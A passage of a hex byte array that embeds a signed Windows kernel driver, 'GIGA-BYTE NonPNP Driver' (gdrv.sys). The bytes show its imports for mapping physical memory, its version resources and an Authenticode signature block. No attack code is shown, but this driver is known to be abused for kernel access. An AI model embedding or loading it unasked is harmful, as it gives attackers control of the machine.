- 0xB7, 0x02, 0x49, 0x6F, 0x46, 0x72, 0x65, 0x65, 0x4D, 0x64, 0x6C, 0x00, - 0xC8, 0x05, 0x4F, 0x62, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6E, 0x63, - 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x42, 0x79, 0x48, 0x61, 0x6E, - 0x64, 0x6C, 0x65, 0x00, 0x8E, 0x09, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, - 0x65, 0x00, 0xE4, 0x09, 0x5A, 0x77, 0x4F, 0x70, 0x65, 0x6E, 0x53, 0x65, - 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0xCF, 0x09, 0x5A, 0x77, 0x4D, 0x61, - 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, 0x74, 0x69, - 0x6F, 0x6E, 0x00, 0x00, 0x5D, 0x0A, 0x5A, 0x77, 0x55, 0x6E, 0x6D, 0x61, - 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, 0x74, 0x69, - 0x6F, 0x6E, 0x00, 0x00, 0xF7, 0x04, 0x4D, 0x6D, 0x47, 0x65, 0x74, 0x50, - 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, - 0x73, 0x73, 0x00, 0x00, 0xFE, 0x04, 0x4D, 0x6D, 0x49, 0x73, 0x41, 0x64, - 0x64, 0x72, 0x65, 0x73, 0x73, 0x56, 0x61, 0x6C, 0x69, 0x64, 0x00, 0x00, - 0xC9, 0x03, 0x4B, 0x65, 0x42, 0x75, 0x67, 0x43, 0x68, 0x65, 0x63, 0x6B, - 0x45, 0x78, 0x00, 0x00, 0x6E, 0x74, 0x6F, 0x73, 0x6B, 0x72, 0x6E, 0x6C, - 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x48, 0x00, 0x48, 0x61, 0x6C, 0x54, - 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x42, 0x75, 0x73, 0x41, - 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x00, 0x48, 0x41, 0x4C, 0x2E, - 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x10, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x04, 0x04, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x60, 0x90, 0x00, 0x00, - 0xE8, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x02, 0x34, 0x00, - 0x00, 0x00, 0x56, 0x00, 0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00, - 0x52, 0x00, 0x53, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x4E, 0x00, 0x5F, 0x00, - 0x49, 0x00, 0x4E, 0x00, 0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xBD, 0x04, 0xEF, 0xFE, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, - 0x03, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x46, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, - 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00, - 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, - 0x6F, 0x00, 0x00, 0x00, 0x22, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, - 0x34, 0x00, 0x30, 0x00, 0x34, 0x00, 0x30, 0x00, 0x34, 0x00, 0x62, 0x00, - 0x30, 0x00, 0x00, 0x00, 0x5E, 0x00, 0x1F, 0x00, 0x01, 0x00, 0x43, 0x00, - 0x6F, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00, - 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x47, 0x00, 0x49, 0x00, 0x47, 0x00, 0x41, 0x00, 0x2D, 0x00, 0x42, 0x00, - 0x59, 0x00, 0x54, 0x00, 0x45, 0x00, 0x20, 0x00, 0x54, 0x00, 0x45, 0x00, - 0x43, 0x00, 0x48, 0x00, 0x4E, 0x00, 0x4F, 0x00, 0x4C, 0x00, 0x4F, 0x00, - 0x47, 0x00, 0x59, 0x00, 0x20, 0x00, 0x43, 0x00, 0x4F, 0x00, 0x2E, 0x00, - 0x2C, 0x00, 0x20, 0x00, 0x4C, 0x00, 0x54, 0x00, 0x44, 0x00, 0x2E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x58, 0x00, 0x18, 0x00, 0x01, 0x00, 0x46, 0x00, - 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, - 0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, - 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x00, 0x49, 0x00, - 0x47, 0x00, 0x41, 0x00, 0x2D, 0x00, 0x42, 0x00, 0x59, 0x00, 0x54, 0x00, - 0x45, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x50, 0x00, - 0x4E, 0x00, 0x50, 0x00, 0x20, 0x00, 0x44, 0x00, 0x72, 0x00, 0x69, 0x00, - 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x30, 0x00, 0x08, 0x00, - 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, - 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, - 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x00, 0x00, 0x32, 0x00, 0x09, 0x00, - 0x01, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, - 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, - 0x65, 0x00, 0x00, 0x00, 0x67, 0x00, 0x64, 0x00, 0x72, 0x00, 0x76, 0x00, - 0x2E, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x4A, 0x00, 0x13, 0x00, 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, - 0x61, 0x00, 0x6C, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, - 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, - 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, - 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x20, 0x00, 0x28, 0x00, 0x43, 0x00, - 0x29, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x31, 0x00, 0x37, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x09, 0x00, 0x01, 0x00, 0x4F, 0x00, - 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, - 0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00, - 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x67, 0x00, 0x64, 0x00, - 0x72, 0x00, 0x76, 0x00, 0x2E, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x2E, 0x00, 0x07, 0x00, 0x01, 0x00, 0x50, 0x00, - 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, - 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x67, 0x00, 0x64, 0x00, 0x72, 0x00, 0x76, 0x00, 0x36, 0x00, 0x34, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x09, 0x00, 0x01, 0x00, 0x50, 0x00, - 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, - 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, - 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x37, 0x00, 0x31, 0x00, 0x32, 0x00, - 0x30, 0x00, 0x31, 0x00, 0x30, 0x00, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, - 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, - 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, - 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, - 0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, 0xB0, 0x04, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x40, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0xF8, 0xA0, 0x00, 0xA1, - 0x08, 0xA1, 0x10, 0xA1, 0xB8, 0xA1, 0xD0, 0xA1, 0xD8, 0xA1, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0x1E, 0x00, 0x00, - 0x00, 0x02, 0x02, 0x00, 0x30, 0x82, 0x1E, 0x99, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x02, 0xA0, 0x82, 0x1E, 0x8A, 0x30, - 0x82, 0x1E, 0x86, 0x02, 0x01, 0x01, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x05, - 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x30, 0x82, 0x01, 0xA8, 0x06, - 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, 0xA0, - 0x82, 0x01, 0x98, 0x30, 0x82, 0x01, 0x94, 0x30, 0x82, 0x01, 0x6D, 0x06, - 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0F, 0x30, - 0x82, 0x01, 0x5D, 0x03, 0x01, 0x00, 0xA0, 0x82, 0x01, 0x56, 0xA1, 0x82, - 0x01, 0x52, 0x04, 0x10, 0xA6, 0xB5, 0x86, 0xD5, 0xB4, 0xA1, 0x24, 0x66, - 0xAE, 0x05, 0xA2, 0x17, 0xDA, 0x8E, 0x60, 0xD6, 0x04, 0x82, 0x01, 0x3C, - 0x31, 0x82, 0x01, 0x38, 0x30, 0x82, 0x01, 0x34, 0x06, 0x0A, 0x2B, 0x06, - 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x03, 0x01, 0x31, 0x82, 0x01, 0x24, - 0x04, 0x82, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0xCA, 0x42, 0xF0, 0x63, - 0x0E, 0x03, 0xB4, 0x39, 0xF0, 0x67, 0xD0, 0xB1, 0x98, 0x56, 0x51, 0xF8, - 0x55, 0x81, 0x87, 0xBB, 0x00, 0x04, 0x00, 0x00, 0xC8, 0x09, 0x9C, 0xAC, - 0x56, 0xC2, 0x4E, 0x91, 0x87, 0xA9, 0xBA, 0x3A, 0x41, 0x00, 0x8A, 0x63, - 0xFF, 0x63, 0x20, 0xF5, 0x00, 0x14, 0x00, 0x00, 0xAE, 0x9A, 0x08, 0xC8, - 0x17, 0xEF, 0xCD, 0xDF, 0x73, 0x8E, 0x95, 0xD4, 0x04, 0x21, 0xD9, 0x91, - 0x7D, 0x94, 0x8F, 0x37, 0x00, 0x24, 0x00, 0x00, 0xD2, 0xE2, 0x21, 0x90, - 0xF4, 0x35, 0xA7, 0xC8, 0xED, 0x11, 0xC4, 0xA8, 0x14, 0x29, 0xA9, 0x5C, - 0xAC, 0x70, 0xEF, 0x98, 0x00, 0x30, 0x00, 0x00, 0x2C, 0xCF, 0x64, 0xA1, - 0x96, 0x1C, 0xA6, 0x4F, 0xA4, 0x56, 0x4D, 0x96, 0x7E, 0xE2, 0xCF, 0xF4, - 0x44, 0xB0, 0xC0, 0xAE, 0x00, 0x38, 0x00, 0x00, 0x24, 0xB1, 0x02, 0xB3, - 0x62, 0x96, 0x08, 0x3E, 0x4F, 0x2F, 0x41, 0xA9, 0x67, 0x89, 0x93, 0xDC, - 0x25, 0x4C, 0x20, 0xB7, 0x00, 0x3A, 0x00, 0x00, 0x79, 0x8C, 0x65, 0x36, - 0xA9, 0x2D, 0x3B, 0xE4, 0xEF, 0xC5, 0x4D, 0x13, 0x8F, 0x51, 0x46, 0xFE, - 0xCB, 0x0D, 0xAA, 0x08, 0x00, 0x3C, 0x00, 0x00, 0xF4, 0xC1, 0x6A, 0xFC, - 0xB5, 0x43, 0x6A, 0xFD, 0x18, 0xB9, 0x8C, 0x64, 0xB7, 0x4D, 0x02, 0xD6, - 0xF9, 0x3A, 0x9B, 0xB8, 0x00, 0x3E, 0x00, 0x00, 0xF6, 0x95, 0xBD, 0xF3, - 0x7A, 0x5A, 0x4A, 0xB9, 0xA4, 0x07, 0x04, 0x77, 0x26, 0x6A, 0x44, 0xF4, - 0x7B, 0x09, 0xB3, 0x04, 0x00, 0x44, 0x00, 0x00, 0xEB, 0xF4, 0x2C, 0xFA, - 0x74, 0x90, 0x80, 0xD3, 0x34, 0x51, 0x0B, 0xAF, 0xCA, 0x5F, 0x9D, 0x6F, - 0x68, 0xA5, 0xE0, 0x30, 0x00, 0x48, 0x00, 0x00, 0xDC, 0x15, 0x74, 0x35, - 0x89, 0x13, 0xAD, 0xE7, 0xE0, 0x22, 0x48, 0x18, 0xFC, 0xA0, 0xEA, 0x03, - 0xD7, 0x7E, 0xBC, 0x64, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, - 0x03, 0x02, 0x1A, 0x05, 0x00, 0x04, 0x14, 0x5C, 0x26, 0xF1, 0x30, 0xF6, - 0xA5, 0xAD, 0x8B, 0xDD, 0x2E, 0xED, 0x29, 0x14, 0x05, 0x42, 0xDA, 0xE0, - 0x88, 0x5B, 0x17, 0xA0, 0x82, 0x18, 0x86, 0x30, 0x82, 0x03, 0xEE, 0x30, - 0x82, 0x03, 0x57, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x7E, 0x93, - 0xEB, 0xFB, 0x7C, 0xC6, 0x4E, 0x59, 0xEA, 0x4B, 0x9A, 0x77, 0xD4, 0x06, - 0xFC, 0x3B, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, - 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x81, 0x8B, 0x31, 0x0B, 0x30, 0x09, - 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x5A, 0x41, 0x31, 0x15, 0x30, - 0x13, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0C, 0x57, 0x65, 0x73, 0x74, - 0x65, 0x72, 0x6E, 0x20, 0x43, 0x61, 0x70, 0x65, 0x31, 0x14, 0x30, 0x12, - 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x0B, 0x44, 0x75, 0x72, 0x62, 0x61, - 0x6E, 0x76, 0x69, 0x6C, 0x6C, 0x65, 0x31, 0x0F, 0x30, 0x0D, 0x06, 0x03, - 0x55, 0x04, 0x0A, 0x13, 0x06, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x31, - 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x14, 0x54, 0x68, - 0x61, 0x77, 0x74, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, - 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, - 0x55, 0x04, 0x03, 0x13, 0x16, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x20, - 0x54, 0x69, 0x6D, 0x65, 0x73, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, - 0x20, 0x43, 0x41, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x32, 0x31, 0x32, 0x32, - 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 